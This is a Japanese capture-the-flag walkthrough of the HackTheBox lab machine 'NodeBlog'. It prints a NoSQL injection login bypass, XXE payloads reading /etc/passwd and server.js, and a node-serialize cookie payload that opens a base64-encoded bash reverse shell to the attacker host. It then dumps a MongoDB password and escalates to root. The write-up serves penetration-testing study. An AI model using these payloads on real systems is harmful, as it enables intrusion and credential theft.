HackTheBox NodeBlog
NodeBlog
侵入
nmap
ポートスキャン
┌──(kali㉿kali)-[~/Desktop/NodeBlog]
└─$ sudo nmap -Pn -n -v --reason -sS -p- --min-rate=1000 -A 10.10.11.139 -oN nmap.log
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 ea:84:21:a3:22:4a:7d:f9:b5:25:51:79:83:a4:f5:f2 (RSA)
| 256 b8:39:9e:f4:88:be:aa:01:73:2d:10:fb:44:7f:84:61 (ECDSA)
|_ 256 22:21:e9:f4:85:90:87:45:16:1f:73:36:41:ee:3b:32 (ED25519)
5000/tcp open http syn-ack ttl 63 Node.js (Express middleware)
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: Blog
22、5000番を確認
web
Login のボタンを発見
ログイン画面が表示された
gobuster
ディレクトリ探索
┌──(kali㉿kali)-[~/Desktop/NodeBlog]
└─$ gobuster dir -u http://10.10.11.139:5000/ -w /usr/share/wordlists/dirb/common.txt -o gobuster_dir.log
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.11.139:5000/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.1.0
[+] Timeout: 10s
===============================================================
2022/09/22 17:03:44 Starting gobuster in directory enumeration mode
===============================================================
/login (Status: 200) [Size: 1002]
/Login (Status: 200) [Size: 1002]
===============================================================
2022/09/22 17:06:56 Finished
===============================================================
特に新しい情報は見つからない
login
試しに、ログインを行なってみる
ログインしたところ、invalid Username と出力された。
username としてよく使われる文字でログインしてみる
admin ユーザの存在を確認。SQL インジェクションが発火すればアクセスできそう
NoSQL injection
基本的な SQL インジェクションは試したが、どれも発火しない
HackTricks の NoSQL インジェクション記事を参考に、ログイン試行していく
POST /login HTTP/1.1
Host: 10.10.11.139:5000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 33
Origin: http://10.10.11.139:5000
Connection: close
Referer: http://10.10.11.139:5000/login
Upgrade-Insecure-Requests: 1
user=admin&password=test
上記が Burp Suite で確認したログインの通常のリクエスト
user=admin&password[$ne]=test
password に対して [$ne] という文字列(等しくないことを表す)を付与するが、うまく行かない
次に、json 形式によるインジェクションを試す。
Content-Type: application/json
json によるリクエストを行うには、Content-Type を変更する必要がある
{"user": "admin", "password": {"$ne": "test"}}
上記のリクエストを送信したところ、ログイン成功として処理された
実際に、Web でも確認する
ログイン成功
upload
ファイルをアップロードすることができるようなので、適当にファイルをアップロードしてみる
無効な XML であるという出力がされた。どうやら XML ファイルでなければならないらしい
Invalid XML Example:
<post>
<title>Example Post</title>
<description>Example Description</description>
<markdown>Example Markdown</markdown>
</post>
Burp Suite で通信を確認したところ、例として XML 形式のような形で帰ってきていた
┌──(kali㉿kali)-[~/Desktop/NodeBlog]
└─$ cat test.xml
<post>
<title>
test Post
</title>
<description>
test Description
</description>
<markdown>
test markdown
</markdown>
</post>
例を参考に、上記の XML を作成し、再度アップロードを行う
アップロードが成功し、それぞれの入力欄に対して、自動的に文字列が入力されている
これは、XXE インジェクション攻撃ができる可能性がある
XXE Injection
記事を参考にし、XXE インジェクションの発火を目指す。
参考記事 -> https://portswigger.net/web-security/xxe
┌──(kali㉿kali)-[~/Desktop/NodeBlog]
└─$ cat file.xml
<?xml version="1.0"?>
<!DOCTYPE data [
<!ENTITY file SYSTEM "file:///etc/passwd">
]>
<post>
<title>test Post</title>
<description>test description</description>
<markdown>&file;</markdown>
</post>
上記のファイルをアップロードし、passwd ファイルの出力を目指す
XXE インジェクションが発火し、passwd ファイルが出力された。
passwd の内容から、admin がホームディレクトリを持っていることを確認
┌──(kali㉿kali)-[~/Desktop/NodeBlog]
└─$ cat file_admin.xml
<?xml version="1.0"?>
<!DOCTYPE data [
<!ENTITY file SYSTEM "file:///home/admin/.ssh/id_rsa">
]>
<post>
<title>test Post</title>
<description>test description</description>
<markdown>&file;</markdown>
</post>
次に、admin ユーザの秘密鍵が取得できないか試したが、上手く行かなかった
server.js
有力な情報がなかなか掴めず、他の脆弱性を調査していた時に、エラーが発生
記事を追加しようとした際のエラーだが、ここで、注目するのはパス(/opt/blog)である
これは、webapp が /opt/blog で実行されていることを表す
┌──(kali㉿kali)-[~/Desktop/NodeBlog]
└─$ cat file1.xml
<?xml version="1.0"?>
<!DOCTYPE data [
<!ENTITY file SYSTEM "file:///opt/blog/server.js">
]>
<post>
<title>test Post</title>
<description>test description</description>
<markdown>&file;</markdown>
</post>
ここまで情報が掴めたので、Node.js の一般的なアプリケーション名である server.js の取得を試す
┌──(kali㉿kali)-[~/Desktop/NodeBlog]
└─$ cat server.js
const loginRouter = require('./routes/login')
const serialize = require('node-serialize')
const fileUpload = require('express-fileupload')
const cookieParser = require('cookie-parser');
const crypto = require('crypto')
const cookie_secret = "UHC-SecretCookie"
function authenticated(c) {
if (typeof c == 'undefined')
return false
c = serialize.unserialize(c)
if (c.sign == (crypto.createHash('md5').update(cookie_secret + c.user).digest('hex')) ){
return true
} else {
return false
}
}
app.get('/', async (req, res) => {
const articles = await Article.find().sort({
createdAt: 'desc'
})
res.render('articles/index', { articles: articles, ip: req.socket.remoteAddress, authenticated: authenticated(req.cookies.auth) })
})
server.js の取得に成功(一部省略)
内容を読み取っていく
const serialize = require('node-serialize')
上記の行は、シリアル化が使用されていることを指しており、悪用できそう
c = serialize.unserialize(c)
さらに、cookie と思われる引数 c が unserialize 関数で呼び出されていることがわかる
%7B%22user%22%3A%22admin%22%2C%22sign%22%3A%2223e112072945418601deb47d9a6c7de8%22%7D
cookie を確認すると、URL エンコーディングされていることがわかる
{"user":"admin","sign":"23e112072945418601deb47d9a6c7de8"}
デコードすると、上記のような json 形式の文字列になった
admin としてのシェル
RCE
記事を参考に、ペイロードを作成し、シェルの取得を目指す
参考記事 -> https://security.snyk.io/vuln/npm:node-serialize:20170208
{"rce":"_$$ND_FUNC$$_function(){require('child_process').exec('echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xMi81NTU1IDA+JjEK|base64 -d|bash', function(error, stdout, stderr){console.log(stdout)});}()"}
上記のようなペイロードを作成
┌──(kali㉿kali)-[~/Desktop/NodeBlog]
└─$ echo 'bash -i >& /dev/tcp/10.10.14.12/5555 0>&1' | base64
YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xMi81NTU1IDA+JjEK
ちなみに、ペイロードの echo の後の文字列は上記のように base64 エンコードした文字列である
GET / HTTP/1.1
Host: 10.10.11.139:5000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://10.10.11.139:5000/
Cookie: auth=%7b%22%72%63%65%22%3a%22%5f%24%24%4e%44%5f%46%55%4e%43%24%24%5f%66%75%6e%63%74%69%6f%6e%28%29%7b%72%65%71%75%69%72%65%28%27%63%68%69%6c%64%5f%70%72%6f%63%65%73%73%27%29%2e%65%78%65%63%28%27%65%63%68%6f%20%59%6d%46%7a%61%43%41%74%61%53%41%2b%4a%69%41%76%5a%47%56%32%4c%33%52%6a%63%43%38%78%4d%43%34%78%4d%43%34%78%4e%43%34%78%4d%69%38%31%4e%54%55%31%49%44%41%2b%4a%6a%45%4b%7c%62%61%73%65%36%34%20%2d%64%7c%62%61%73%68%27%2c%20%66%75%6e%63%74%69%6f%6e%28%65%72%72%6f%72%2c%20%73%74%64%6f%75%74%2c%20%73%74%64%65%72%72%29%7b%63%6f%6e%73%6f%6c%65%2e%6c%6f%67%28%73%74%64%6f%75%74%29%7d%29%3b%7d%28%29%22%7d
Upgrade-Insecure-Requests: 1
If-None-Match: W/"4d2-PIHYOQiJDvwvmRzEyZm9VvLBz/Y"
先程のペイロードを URL エンコーディングし、cookie に指定する
最後に、send を押し、コマンドを実行
┌──(kali㉿kali)-[~/Desktop/NodeBlog]
└─$ nc -lvnp 5555
listening on [any] 5555 ...
connect to [10.10.14.12] from (UNKNOWN) [10.10.11.139] 37476
bash: cannot set terminal process group (855): Inappropriate ioctl for device
bash: no job control in this shell
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.
bash: /home/admin/.bashrc: Permission denied
admin@nodeblog:/opt/blog$ whoami
admin
侵入成功
user フラグ
admin ディレクトリに権限がないが、所有者は admin であるため、chmod で権限変更
admin@nodeblog:~$ cat user.txt
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
フラグ取得
権限昇格
sudo -l
admin@nodeblog:~$ sudo -l
sudo: a terminal is required to read the password; either use the -S option to read from standard input or configure an askpass helper
sudo を使用するためには、パスワードが必要であり、-S オプションを指定する必要があるとのこと
ps
実行中のプロセスを確認
admin@nodeblog:~$ ps auxww
mongodb 695 0.4 1.8 983508 76312 ? Ssl 12:06 1:03 /usr/bin/mongod --unixSocketPrefix=/run/mongodb --config /etc/mongodb.conf
mongo
DB に接続する
admin@nodeblog:~$ mongo
MongoDB shell version v3.6.8
connecting to: mongodb://127.0.0.1:27017
Implicit session: session { "id" : UUID("7590070e-983c-48fb-aad8-ead02e265169") }
MongoDB server version: 3.6.8
>> show dbs
admin 0.000GB
blog 0.000GB
config 0.000GB
local 0.000GB
blog database を発見
>> use blog
switched to db blog
>> show collections
articles
users
users テーブルを確認
>> db.users.find()
{ "_id" : ObjectId("61b7380ae5814df6030d2373"), "createdAt" : ISODate("2021-12-13T12:09:46.009Z"), "username" : "admin", "password" : "IppsecSaysPleaseSubscribe", "__v" : 0 }
パスワードを取得できた
root としてのシェル
su
再度 sudo を確認
admin@nodeblog:~$ sudo -S -l
sudo -S -l
[sudo] password for admin: IppsecSaysPleaseSubscribe
Matching Defaults entries for admin on nodeblog:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User admin may run the following commands on nodeblog:
(ALL) ALL
(ALL : ALL) ALL
sudo が実行できた
admin@nodeblog:~$ sudo su
whoami
root
権限昇格成功
root フラグ
root@nodeblog:~# cat root.txt
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
フラグ取得
所感
今回のボックスには、かなり時間を使ってしまった。権限昇格は、簡単だったが、node-serialize の脆弱性を使用する攻撃がなかなか上手く行かなかったりと、手こずる場面が多かった。XXE インジェクションは、自分的に好きな攻撃手法なので楽しかった。
Discussion